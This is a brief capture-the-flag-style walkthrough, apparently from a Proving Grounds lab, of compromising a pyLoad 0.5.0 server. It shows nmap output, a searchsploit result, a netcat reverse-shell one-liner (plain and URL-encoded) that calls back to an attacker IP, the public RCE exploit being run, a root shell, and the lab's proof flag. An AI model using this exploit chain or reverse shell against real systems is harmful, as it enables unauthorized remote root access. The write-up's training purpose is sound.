pyLoader

Intro

Initial Foothold

# Nmap 7.94SVN scan initiated Fri Sep  6 10:47:32 2024 as: nmap -sC -sV -vv -oA nmap/initial pyloader.pg
Nmap scan report for pyloader.pg (192.168.199.26)
Host is up, received echo-reply ttl 61 (0.048s latency).
Scanned at 2024-09-06 10:47:33 CDT for 36s
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
|   256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
9666/tcp open  http    syn-ack ttl 61 CherryPy wsgiserver
| http-robots.txt: 1 disallowed entry 
|_/
|_http-favicon: Unknown favicon MD5: 71AAC1BA3CF57C009DA1994F94A2CC89
| http-title: Login - pyLoad 
|_Requested resource was /login?next=http://pyloader.pg:9666/
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-server-header: Cheroot/8.6.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep  6 10:48:09 2024 -- 1 IP address (1 host up) scanned in 36.50 seconds

┌──(joe㉿kali)-[~]
└─$ searchsploit pyload
-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ---------------------------------
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)     | python/webapps/51532.py
-------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

# Command before URL encoding
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.196 443 >/tmp/f

┌──(joe㉿kali)-[~/hax/pg/pyloader]
└─$ python3 51532.py -u http://pyloader.pg:9666 -c 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.45.196%20443%20%3E%2Ftmp%2Ff'
[+] Check if target host is alive: http://pyloader.pg:9666
[+] Host up, let's exploit! 

┌──(joe㉿kali)-[~/hax/pg/pyloader]
└─$ sudo nc -lvnp 443                                     
listening on [any] 443 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.199.26] 60852
sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/proof.txt
18bf7856543bc00e2a7dca6996112b09

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